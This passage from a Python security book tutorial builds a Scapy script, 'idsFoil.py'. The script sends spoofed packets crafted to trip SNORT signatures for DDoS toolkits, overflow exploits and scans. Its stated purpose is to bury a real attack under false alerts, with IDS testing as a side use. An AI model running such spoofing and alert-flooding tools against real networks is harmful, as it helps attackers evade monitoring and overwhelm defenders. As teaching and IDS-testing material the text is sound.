Authors: TJ O'Connor
An Intrusion Detection System (IDS) is a very valuable tool in the hands of a competent analyst. A network-based intrusion detection system (NIDS) can analyze traffic in real time by logging packets on IP networks. By matching packets against a known set of malicious signatures, an IDS can alert the network analyst to an attack before it succeeds. For example, the SNORT IDS system comes pre-packaged with a variety of different rules capable of detecting different types of reconnaissance, exploits, and denial-of-service attacks amongst a wide variety of other attack vectors. Examining the contents of one of these rule configurations, we see four alerts to detect the TFN, tfn2k, and Trin00 distributed denial-of-service attack toolkits. When an attacker uses TFN, tfn2k or Trin00 against a target, the IDS detects the attack and alerts the analyst. However, what happens when analysts receive more alerts than they can reasonably correlate to an event? Often they become overwhelmed and may miss important attack details.
victim# cat /etc/snort/rules/ddos.rules
<..SNIPPED..>
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:”DDOS TFN Probe”; icmp_id:678; itype:8; content:”1234”; reference:arachnids,443; classtype:attempted-recon; sid:221; rev:4;)
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:”DDOS tfn2k icmp possible communication”; icmp_id:0; itype:0; content:”AAAAAAAAAA”; reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)
alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:”DDOS Trin00 Daemon to Master PONG message detected”; content:”PONG”; reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:”DDOS TFN client command BE”; icmp_id:456; icmp_seq:0; itype:0; reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)
<...SNIPPED...>
In order to hide a legitimate attack from the analyst, we will write a toolkit that generates an overwhelming number of alerts for the analyst to deal with. Additionally, an analyst could use this tool to verify an IDS can correctly identify malicious traffic. Writing the script will not prove difficult,as we already have the rules that generate alerts. To do this, we will again use Scapy to craft packets. Consider the first rule for the DDOS TFN Probe:here we must generate an ICMP packet with an ICMP ID of 678 and ICMP TYPE 8 that contains the raw contents “1234” in the packet. With Scapy, we craft a packet with these variables and send it to our destination. In addition, we build packets for our three other rules.
from scapy.all import ∗
def ddosTest(src, dst, iface, count):
pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load=’1234’)
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load=’AAAAAAAAAA’)
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load=’PONG’)
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)
send(pkt, iface=iface, count=count)
src=”1.3.3.7”
dst=”192.168.1.106”
iface=”eth0”
count=1
ddosTest(src,dst,iface,count)
Running the script, we see that four packets were sent to our destination. The IDS will analyze these packets and generate alerts if they match the signatures correctly.
attacker# python idsFoil.py
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
Examining the alert log for SNORT, we find that we have succeeded! All four packets generate alerts for the intrusion detection system.
victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf
03/14-07:32:52.034213 [∗∗] [1:221:4] DDOS TFN Probe [∗∗] [Classification: Attempted Information Leak] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-07:32:52.037921 [∗∗] [1:222:2] DDOS tfn2k icmp possible communication [∗∗] [Classification: Attempted Denial of Service] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-07:32:52.042364 [∗∗] [1:223:3] DDOS Trin00 Daemon to Master PONG message detected [∗∗] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335
03/14-07:32:52.044445 [∗∗] [1:228:3] DDOS TFN client command BE [∗∗] [Classification: Attempted Denial of Service] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
Let’s look at some more slightly complicated rules in the exploit.rules signature file for SNORT. Here, a sequence of specific bytes will generate alerts for the ntalkd x86 Linux overflow and the Linux mountd overflow.
alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:”EXPLOIT ntalkd x86 Linux overflow”; content:”|01 03 00 00 00 00 00 01 00 02 02 E8|”; reference:bugtraq,210; classtype:attempted-admin; sid:313;
rev:4;)
alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:”EXPLOIT x86 Linux mountd overflow”; content:”^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F”; reference:bugtraq,121; reference:cve,1999-0002; classtype
:attempted-admin; sid:315; rev:6;)
To generate packets containing the raw bytes, we will use the notation \x followed by the hexadecimal encoding of the byte. In the first alert, this generates a packet that will trip the signature for the ntalkd Linux overflow exploit. On the second packet, we will use a combination of raw bytes encoded as hex plus standard ASCII characters. Notice how 89|F| encodes as \x89F to indicate it contains raw bytes plus an ASCII character. The following packets will generate alerts for exploit attempts.
def exploitTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=518) \
/Raw(load=“\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8”)
send(pkt, iface=iface, count=count)
pkt = IP(src=src, dst=dst) / UDP(dport=635) \
/Raw(load=“^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F”)
send(pkt, iface=iface, count=count)
Finally, it would be nice to spoof some reconnaissance or scans. We examine the SNORT rules for scans and find two rules that we can craft packets for. Both rules detect malicious behavior on the UDP protocol on specific ports with specific raw content. It is easy to craft packets for this purpose.
alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:”SCAN cybercop udp bomb”; content:”cybercop”; reference:arachnids,363; classtype:bad-unknown; sid:636; rev:1;)
alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081 (msg:”SCAN Amanda client version request”; content:”Amanda”; nocase; classtype:attempted-recon; sid:634; rev:2;)
We generate the two packets for the scan rules for cybercop and Amanda reconnaissance tools. After generating the two packets with the correct UDP destination ports and content, we send them to the target.
def scanTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=7) \
/Raw(load=’cybercop’)
send(pkt)
pkt = IP(src=src, dst=dst) / UDP(dport=10080) \
/Raw(load=’Amanda’)
send(pkt, iface=iface, count=count)
Now that we have packets to generate alerts for denial-of-service attacks, exploits, and reconnaissance, we put our script back together and add some option parsing. Note that the user must enter the target address or the program will exit: if the user fails to enter a source address, we will generate a random source address. If the user does not specify how many times to send the crafted packets, we will only send them once. The script uses the default adapter eth0 unless otherwise specified. Although purposely short for our purposes in the text, you could continue to add to this script to generate and test alerts for all types of attacks.
import optparse
from scapy.all import ∗
from random import randint
def ddosTest(src, dst, iface, count):
pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load=’1234’)
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load=’AAAAAAAAAA’)
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load=’PONG’)
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)
send(pkt, iface=iface, count=count)
def exploitTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=518) \
/Raw(load=“\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8”)
send(pkt, iface=iface, count=count)
pkt = IP(src=src, dst=dst) / UDP(dport=635) \
/Raw(load=“^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F”)
send(pkt, iface=iface, count=count)
def scanTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=7) \
/Raw(load=’cybercop’)
send(pkt)
pkt = IP(src=src, dst=dst) / UDP(dport=10080) \
/Raw(load=’Amanda’)
send(pkt, iface=iface, count=count)
def main():
parser = optparse.OptionParser(‘usage%prog ‘+\
‘-i
)
parser.add_option(‘-i’, dest=’iface’, type=’string’,\
help=’specify network interface’)
parser.add_option(‘-s’, dest=’src’, type=’string’,\
help=’specify source address’)
parser.add_option(‘-t’, dest=’tgt’, type=’string’,\
help=’specify target address’)
parser.add_option(‘-c’, dest=’count’, type=’int’,\
help=’specify packet count’)
(options, args) = parser.parse_args()
if options.iface == None:
iface = ‘eth0’
else:
iface = options.iface
if options.src == None:
src = ‘.’.join([str(randint(1,254)) for x in range(4)])
else:
src = options.src
if options.tgt == None:
print parser.usage
exit(0)
else:
dst = options.tgt
if options.count == None:
count = 1
else:
count = options.count
ddosTest(src, dst, iface, count)
exploitTest(src, dst, iface, count)
scanTest(src, dst, iface, count)
if __name__ == ‘__main__’:
main()
Executing our final script, we see it correctly sends eight packets to the target address and spoofs the source address as 1.3.3.7. For testing purposes, ensure the target is different than the attacker machine.
attacker# python idsFoil.py -i eth0 -s 1.3.3.7 -t 192.168.1.106 -c 1
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
Analyzing the logs from the IDS, we see that it quickly filled up with the eight alert messages. Outstanding! Our toolkit works, which wraps up this chapter.
victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf
03/14-11:45:01.060632 [∗∗] [1:222:2] DDOS tfn2k icmp possible communication [∗∗] [Classification: Attempted Denial of Service] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-11:45:01.066621 [∗∗] [1:223:3] DDOS Trin00 Daemon to Master PONG message detected [∗∗] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335
03/14-11:45:01.069044 [∗∗] [1:228:3] DDOS TFN client command BE [∗∗] [Classification: Attempted Denial of Service] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-11:45:01.071205 [∗∗] [1:313:4] EXPLOIT ntalkd x86 Linux overflow [∗∗] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518
03/14-11:45:01.076879 [∗∗] [1:315:6] EXPLOIT x86 Linux mountd overflow [∗∗] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635
03/14-11:45:01.079864 [∗∗] [1:636:1] SCAN cybercop udp bomb [∗∗] [Classification: Potentially Bad Traffic] [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:7
03/14-11:45:01.082434 [∗∗] [1:634:2] SCAN Amanda client version request [∗∗] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:10080